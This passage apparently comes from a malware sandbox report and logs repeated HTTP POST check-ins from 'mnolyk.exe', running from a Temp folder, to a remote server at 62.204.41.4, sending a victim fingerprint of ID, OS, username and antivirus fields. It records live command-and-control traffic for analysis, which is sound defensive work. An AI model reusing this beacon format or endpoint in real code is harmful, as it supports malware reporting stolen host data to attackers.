Feb 8, 2023 21:31:31.780350924 CET	262	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:31.843260050 CET	262	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49764	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:32.057321072 CET	263	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:32.123912096 CET	263	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49765	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:32.555335999 CET	264	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:32.620625019 CET	264	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49766	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:32.973144054 CET	265	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:33.038276911 CET	265	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49767	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:33.408798933 CET	266	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:33.474467039 CET	266	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49768	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:33.720031977 CET	267	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:33.785187006 CET	267	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49769	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:34.756431103 CET	268	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:34.819967031 CET	268	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	49770	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:35.698493004 CET	269	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:35.764023066 CET	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	49771	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:36.658549070 CET	270	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:36.723408937 CET	270	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49708	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:11.181340933 CET	207	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:11.245002985 CET	208	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	49772	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:37.016273022 CET	271	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:37.082278967 CET	271	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	49773	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:37.289230108 CET	272	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:37.353562117 CET	272	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	49774	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:37.538022041 CET	273	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:37.601814032 CET	273	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	49775	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:37.801160097 CET	274	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:37.866099119 CET	274	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	49776	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:38.042042017 CET	274	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:38.105920076 CET	275	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	49777	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:38.278119087 CET	276	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:38.343957901 CET	276	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	49778	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:38.510711908 CET	277	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:38.572370052 CET	277	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	49779	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:38.749643087 CET	278	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:38.814958096 CET	278	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	49780	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:38.981621027 CET	279	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:39.047365904 CET	279	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	49781	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:39.216996908 CET	280	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:39.282100916 CET	280	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49709	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:11.416191101 CET	208	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:11.481261015 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	49782	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:39.471648932 CET	281	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:39.536150932 CET	281	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	49783	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
